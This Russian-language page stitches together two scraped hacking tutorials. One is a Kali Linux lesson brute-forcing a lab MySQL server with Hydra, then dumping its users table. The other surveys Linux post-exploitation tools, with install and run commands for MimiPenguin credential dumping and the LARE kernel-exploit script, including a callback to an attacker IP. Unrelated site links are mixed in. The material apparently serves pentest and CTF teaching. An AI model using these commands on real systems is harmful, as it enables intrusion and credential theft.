Как взламывать с помощью linux

Этичный хакинг с Михаилом Тарасовым (Timcore)

Блог об Этичном Хакинге

#42 Kali Linux для начинающих. Взламываем базу данных. Атаки на пароли.

Давайте рассмотрим еще один способ, как взломать нашу цель. В этом уроке мы будем атаковать сервис базы данных.

Посмотрим на результат сканирования «nmap», а именно нас интересует порт 3306, который используется сервисом «mysql». Это сервис базы данных, и, как Вы знаете, он содержит множество чувствительной информации, такую как имена пользователей, пароли, и т.д.

Нам нужно подключиться к этой базе данных, но у меня нет соответствующего логина и пароля, но я попробую подобрать их с помощью инструмента sqldict. Это сокращение от sql dictionary.

Данный инструмент не стоял у меня в системе, поэтому нужно установить его с помощью команды: «apt-get install sqldict»:

С помощью sqldict можно производить подбор паролей, и данный процесс называется «атака по словарю». Другими словами, я создам список возможных паролей. При первом запуске sqldict в терминале мы видим ошибку, так как нужно сперва выполнить установку «wine32»:

Wine32 – это программа на Kali и других дистрибутивах Linux, которая позволяет запускать программы на Windows в линукс системах. В Windows программа имеет расширение «.exe». Это исполняемые файлы, и они созданы для работы в Windows.

В отобразившейся информации при запуске в терминале нашего инструмента есть команда для установки wine32. Она выглядит как: «dpkg —add-architecture i386 && apt update && apt -y install wine32»:

Данная программа будет загружаться какое-то время, поэтому мы опустим данный процесс для загрузки в систему.

Рассмотрим еще один инструмент, который можно использовать для достижения той же самой цели. Его можно найти в разделе «Passwords Attacks», и он называется «wordlists»:

В разделе «Атаки на пароли» существует несколько инструментов для проведения подобных атак, но нас интересуют простые атаки, т.е. атаки на онлайн сервисы. Ранее мы уже атаковали запущенные сервисы SSH и FTP. Как правило, для этих сервисов существует подбор имени пользователя и пароль. И если мы атакуем работающий сервис, для попытки подобрать имя пользователя и пароль, то такая атака называется онлайн-атака на пароли. И сейчас нашей целью будет mysql, который работает на атакуемой машине. Нам нужно подобрать имя пользователя и пароль. Это называется онлайн-атака на пароли. Далее я хочу показать Вам директорию «worldlists». Нас интересует словарь «rockyou.txt»:

Далее нам нужно распаковать текстовый файл rockyou.txt.gz с помощью команды gunzip rockyou.txt.gz:

Давайте воспользуемся этим файлом, и скопируем путь к нему, так как он в дальнейшем нам понадобится.

Сразу хотелось бы отметить, что при работе с инструментами, некоторые из них не будут работать в штатном режиме. Тогда нужно переходить к следующему, и не зацикливаться только на одном. Я постоянно это повторяю, и это очень важно понимать.

Читайте также:  Американский vpn для windows

Также в этом уроке я буду использовать инструмент «Hydra»:

Для того, чтобы подобрать пароль, мне нужен словарь или список слов для атаки. В интернете я нашел список самых худших паролей всех времен:

Скопируем первые 50 паролей:

С помощью текстового редактора nano создаем файл «temp»:

Обратите внимание на то, что все области, которые выделены в розовый цвет являются разделителями, при помощи табуляции. Имейте ввиду, что таком формате файл бесполезен. Нам нужно создать последовательный список из всех этих слов. Мы воспользуемся командами, которые изучили в предыдущих уроках.

Введем команду cat в терминале:

Нам нужно привести этот файл в порядок. Команда будет выглядеть как: «cat temp | cut –d$’\t’ –f 2».

Значок $ используется для того, чтобы вырезать только текст. Можно загуглить данную команду, и Вы быстро разберетесь, как все работает. Просто помните, что после разделителя «Tab», необходимо указать значок доллара, затем добавить –f 2 (второе поле):

И, как видим, у нас появился список всех возможных паролей, которые были скопированы. Разумеется, весь этот вывод на экране нужно сохранить в отдельный файл. Команда будет выглядеть как: «cat temp | cut –d$’\t’ –f 2 > worst-50»:

worst-50″ srcset=»https://timcore.ru/wp-content/uploads/2021/04/screenshot_14-6.png 805w, https://timcore.ru/wp-content/uploads/2021/04/screenshot_14-6-300×244.png 300w, https://timcore.ru/wp-content/uploads/2021/04/screenshot_14-6-768×625.png 768w» sizes=»(max-width: 805px) 100vw, 805px»/>

Обратите внимание на то, что я указал файл worst-50 без какого-либо расширения. На самом деле в линуксе можно не указывать расширение, так как файлы являются текстовыми по-умолчанию, и можно прочесть их содержимое.

Давайте внесем последние правки в наш словарь:

Нам нужно удалить строку top, так как она нам не нужна. Жмем горячую клавишу Ctrl+K для удаления первой строки, а перейдя на последнюю жмем «Enter», что будет являться пустой строкой:

Пустая строка будет выполняться, если кто-то будет использовать какой-либо логин и пустой пароль.

Давайте вернемся к инструменту «Hydra», и можем воспользоваться примером, который нам указывают разработчики:

На самом деле половина успеха будет заключаться в правильном использовании имени пользователя. Если у нас нет правильного имени пользователя, то будет проблематично с авторизацией.

Команда для перебора по словарю будет выглядеть следующим образом:

«hydra –l root –P worst-50 mysql://192.168.119.130»:

Hydra сработала практически сразу и был подобран один пароль. Также можем видеть 51 попытку подбора пароля. Обратите внимание, что здесь не указан подобранный пароль, а это значит, что пароль был пустым.

Теперь у нас есть имя пользователя и пароль, для авторизации в базе данных mysql. В случае с FTP, для авторизации нам нужен был FTP-клиент (например, FileZilla). Чтобы пройти SSH-авторизацию, нам нужен был SSH-клиент, а на Windows мы использовали Putty. На LinuxSSH-клиент. В случае с авторизацией в MySQL, нам нужен MySQL-клиент. Для подключения к базе данных нам нужно ввести в терминале следующую команду: «mysql –u root –p –h 192.168.119.130», где опция –u – это имя пользователя, —p – порт, —h – айпи-адрес:

MySQL просит ввести пароль. Мы просто оставляем пустым и жмем «Enter».

Обратите внимание, что консоль изменилась, и мы взаимодействуем с базой данных.

Если Вы никогда не сталкивались с базой данных SQL, то можно использовать графические клиенты, которые выглядят нагляднее, чем то, что мы используем сейчас.

Мы разберем простые команды, которые можно использовать. Давайте посмотрим какие базы данных есть на этом MySQL сервере. Их может быть несколько, и для этого выполним простую команду «show databases;»:

Читайте также:  Что такое сокеты линукс

Не забудьте в конце записи ввести точку с запятой, так как это является концом команды. Таков синтаксис SQL-запросов.

Как видим, существует несколько баз данных. Начнем с базы «dvwa». Обратите внимание что «information_schema» — это база данных баз данных, так как она содержит информацию об остальных базах данных.

Чтобы открыть «dvwa», просто пишем команду «use dvwa;»:

Нам нужно просмотреть таблицы этой базы данных. Для этого пишем команду: «show tables;»:

Как видим, существует две таблицы «guestbook» и «users».

Нас будет интересовать таблица «users», так как в ней могут содержаться имена пользователей и пароли. Команда выглядит как: «select * from users;»:

В данной таблице содержатся id пользователей, имена, логины, пароли, аватары. Именно так выглядят украденные учетные данные.

Те, кто интересуется информационной безопасностью часто слышат о том, что хакеры то и дело сливают информацию из баз данных самых разных сайтов, компаний и т.д.

Обратите внимание, что выведенные пароли не похожи на обычные пароли, и если присмотреться, то у них одинаковая длина. Это хэши паролей. Иными словами, мы не сможем просто авторизироваться в системе с такими паролями, потому что это не сами пароли, а их скрытое значение.

Очень часто злоумышленники пытаются взломать данные пароли, т.е. расшифровать их. Не волнуйтесь, что какая-то информация непонятна. Мы еще поговорим об этом. Сейчас для нас актуально то, что мы авторизировались в базе данных нашли некоторую информацию с данного сервиса.

Так что же делать дальше? Вспомним, что я говорил то, что если у Вас есть имена пользователей – это половину успеха, и для взлома этих пользователей нам понадобится пароли. Можно подобрать пароли этих пользователей с помощью гидры или подобного инструмента. Можно также поискать в интернете расшифрованные хэши, которые мы нашли в базе данных. Возможно, кто-то до Вас уже делал подобное и выложил в сети данную информацию.

Погуглить найденные хэши.

Использовать инструменты Kali Linux для взлома хэшей, к примеру, John the Ripper.

Источник

4 лучших инструмента для взлома Linux.

Друзья, сегодня минимум слов, максимум дела! В материале ниже будем смотреть инструменты пост-эксплуатации для систем Linux! Что можно сделать после того как ты уже прорвался во внутренний периметр сети, или, как на CTF-соревнованиях, когда ты получил доступ к уязвимой тачке и готов броситься в бой дальше!

Пост-эксплуатация в практике пен-теста

Пост-эксплуатация (англ. post-explotation) — это то, что можно сделать с целевой системой после того, как удалось найти уязвимость и выполнить какой-то участок кода на целевой системе. Так же под этим термином понимается один из этапов взлома компьютерных систем (фаза) позволяющая собирать дальнейшую информацию о целевой системе, получить дальнейший доступ к сети и хранящимся данным. Фаза пост-эксплуатации позволяет идентифицировать такие вещи, как дополнительные подсети, маршрутизаторы, названия серверов, сетевых служб и установленных приложений.

Основные паттерны, по которым работают злоумышленники на этапе пост-эксплуатации:

получить доступ на выполнение произвольного кода\команд

изучение данных, хранящихся на сервере

перехват данных, которых нет на системе сейчас, но они могут появиться в будущем

организация перманентного доступа к целевой системе

эскалация привилегий до уровня системы для непривилегированной учетной записи

Дополнительно, хакер может получать информацию о скомпрометированной системе, анализируя следующие параметры:

конфигурацию системы (логин и пароль к БД в исходных кодах)

конфигурацию веб-сервера (например, httpd.conf, .htaccess)

исходные коды приложения (поиск уязвимостей, анализируя логику приложения)

доступы к окружению (находясь внутри сети может быть проще попасть на соседние сервера и изолированные сегменты подсети)

базы данных (аутентификационная информация к другим системам, хранящаяся в них)

Обзор инструментов пост-эксплуатации

Мы же в материале сделаем акцент на рассмотрение инструментов пост-эксплуатации исключительно под Linux-системы.

Читайте также:  Не загружается проводник windows 10 причины

1. PXEenum — полное перечисление всего что есть в системе

Основной задачей данного скрипта является функция перечисления (англ. Enumeration). Он вытаскивает всю доступную информацию о системе. Данный скрипт создан, если не сказать, что создан для лентяев то для тех, кто ценит свое время.

Для запуска он не требует прав root’а, работает в стандартном терминале.

# git clone https://github.com/shawnduong/PXEnum.git

2. MIDA Multitool — палим систему по взрослому

Другой интересный инструмент MIDA Multitool созданный на базе менее именитых собратьев SysEnum и RootHelper, но включающий в себя гораздо больший функционал. По воле разработчика функционал MIDA Multitool включает в себя отдельные функции своих предшественников под одним капотом, а именно:

SysEnum — Bash скрипт, предназначенный для получения основной информацию о системе, включая, но не ограничиваясь следующими данными — текущий пользователь, IP-конфигурация, таблицы ARP, запущенные процессы и т.д.

Roothelper — призван помочь в процессе эскалации привилегий в системе, которая была скомпрометирована, путем выполнения ряда перечислений и использования доверительных сценариев.

Устанавливаем скрипт в систему с github:

# git clone https://github.com/NullArray/Bash-Kit-Multitool

# chmod +x bashkit.sh

Дело сделано! Можно запускать в системе!

3. MimiPenguin — пиздим пароли без зазрения совести

Очень хорошо известный скрипт в узких кругах пен-тестеров под названием MimiPenguin. основной задачей утилиты служит сброса пароля на вход в систему от текущего пользователя Linux. Если такое сравнение возможно то это аналог утилиты mimikatz для дампа пароля в Windows системах (о ней мы уже рассказывали в одной из наших прошлых статей)

Кроме того, MimiPenguin поддерживает такие приложения, как VSFTPd (активные подключения клиента FTP), популярнейший web-сервер Apache2 (активные/старые сеансы HTTP BASIC AUTH, но для этого требуется Gcore) и openssh-сервер (активные подключения SSH с использованием команды sudo). И вообще необходимо сказать, что MimiPenguin часто становится частью эксплойтов под Linux.

Устанавливаем MimiPenguin забирая его с репозитория GitHub:

# git clone https://github.com/huntergregal/mimipenguin

# chmod +x mimipenguin.sh

4. LARE — ломимся под рута используя баги ядра

И напоследок еще один довольно простой скрипт, который помогает с помощью использования известных уязвимостей в ядре ОС получать привилегии root удаленно с атакующей машины. Скрипт использует локальные эксплойты для получения root прав для версий ядра Linux Kernel v2.6-v4.8.

Кстати, эта тулза очень часто находит свое применение на пиздатом сертификационном экзамене OSCP.

Устанавливаем скрипт в систему:

# git clone https://github.com/EnigmaDimitri/LARE && cd LARE

Запуск скрипта на целевой машине в сети

# LARE.sh -l [Attackers-IP]

Запуск на машине с подключением к базе данных эксплойтов на GitHub

# LARE.sh -l or ./LARE.sh -l

Проверка и защита системы от техник пост-эксплуатации

Для обеспечения безопасности системы на предмет пост-эксплуатации, по мимо традиционных вариантов защиты как то установка патчей (security patch) и минимизация привилегий, дополнительно существуют специальные тулзы для проверки системы. Ведь в противовес неправильно сложившегося мнения, к пост-эксплуатации не обязательно ведут только 0-day или устаревший софт,

А вот их обзор читай в материале на страницах журнала ][акер!

Заключение

Сегодня мы кратко рассмотрели самые популярные и проверенные в практике пен-теста рабочие инструменты, используемые на фазе пост-эксплуатации для серверов под управлением Linux! Как видишь, нет ничего абсолютно защищенного. Эти знания, я надеюсь, пригодится тебе и на CTF и для пен-теста свойственной корпоративной сети и развития общего понимания практики обеспечения раальной ИБ.

Источник

Оцените статью